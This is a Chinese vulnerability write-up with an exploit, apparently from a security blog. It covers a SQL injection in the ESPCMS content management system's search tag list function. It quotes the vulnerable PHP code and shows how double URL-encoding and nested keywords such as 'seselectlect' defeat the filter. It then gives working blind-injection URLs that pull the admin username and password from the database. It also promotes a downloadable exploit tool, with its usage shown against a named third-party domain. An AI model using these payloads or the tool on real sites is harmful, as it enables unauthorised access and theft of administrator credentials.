漏洞:Espcms 通杀 SQL注入漏洞分析附EXP
漏洞作者:Seay
博客:www.cnseay.com
转载请保留以上内容…
官网介绍:
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
漏洞在interface/search.php 文件和interface/3gwap_search.php文件in_taglist()函数都存在,一样的问题,以
interface/search.php为例说明:
function in_taglist() { parent::start_pagetemplate(); include_once admin_ROOT . 'public/class_pagebotton.php'; $page = $this->fun->accept('page', 'G'); $page = isset($page) ? intval($page) : 1; $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG; $tagkey = urldecode($this->fun->accept('tagkey', 'R')); $tagkey = $this->fun->inputcodetrim($tagkey); $db_where = ' WHERE lng='' . $lng . '' AND isclass=1'; if (empty($tagkey)) { $linkURL = $_SERVER['HTTP_REFERER']; $this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']); } if (!empty($tagkey)) { $db_where.=" AND FIND_IN_SET('$tagkey',tags)"; } $pagemax = 20; $pagesylte = 1; $templatesDIR = $this->get_templatesdir('article'); $templatefilename = $lng . '/' . $templatesDIR . '/search'; $db_table = db_prefix . 'document'; $countnum = $this->db_numrows($db_table, $db_where); if ($countnum > 0) { $numpage = ceil($countnum / $pagemax); } else { $numpage = 1; } $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle, color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax"; $this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']); $sql = $this->htmlpage->PageSQL('pid,did', 'down'); $rs = $this->db->query($sql); while ($rsList = $this->db->fetch_assoc($rs)) {
由于$tagkey变量使用了urldecode,从而可以绕过GPC,最终
$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;
$tagkey被带入SQL语句。
可以看到下面有
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
也被带入数据库查询,两条语句可以注入,可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的,而第一条SQL语句查询出来的是count(*),即int,
更蛋疼的是只要第一条查询报错,第二条就不会执行。所以只有用第一条盲注来搞了。
漏洞测试EXP:http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527
由于espcms本身有防注入函数,在文件
publicclass_function.php inputcodetrim()函数。
function inputcodetrim($str) { if (empty($str)) return $str; $str = str_replace("&", "&", $str); $str = str_replace(">", ">", $str); $str = str_replace("<", "<", $str); $str = str_replace("<", "<", $str); $str = str_ireplace("select", "", $str); $str = str_ireplace("join", "", $str); $str = str_ireplace("union", "", $str); $str = str_ireplace("where", "", $str); $str = str_ireplace("insert", "", $str); $str = str_ireplace("delete", "", $str); $str = str_ireplace("update", "", $str); $str = str_ireplace("like", "", $str); $str = str_ireplace("drop", "", $str); $str = str_ireplace("create", "", $str); $str = str_ireplace("modify", "", $str); $str = str_ireplace("rename", "", $str); $str = str_ireplace("count", "", $str); $str = str_ireplace("from", "", $str); $str = str_ireplace("group by", "", $str); $str = str_ireplace("concat", "", $str); $str = str_ireplace("alter", "", $str); $str = str_ireplace("cas", "cast", $str); $str = preg_replace("/<span[^>]+>/i", "<span>", $str); $str = preg_replace("/<p[^>]+>/i", "<p>", $str); $str = preg_replace("/<font[^>]+>/i", "<font>", $str); $str = preg_replace("/width=('|")?[d%]+('|")?/i", "", $str); $str = preg_replace("/height=('|")?[d%]+('|")?/i", "", $str); $str = preg_replace("'<style[^f]*?(/style>)'si", "", $str); return $str; }
只是把关键字替换为空,例如union可uunionnion绕过本身防注入,还可以无视不拦截单引号的waf。
猜解用户名长度
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay
爆破用户名和密码:
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay
写了个Exp,下载地址:espcms_exp
使用方法:espcms_exp_by_Seay.exe www.hedysx.com
即可自动爆出表前缀、用户名、跟密码。
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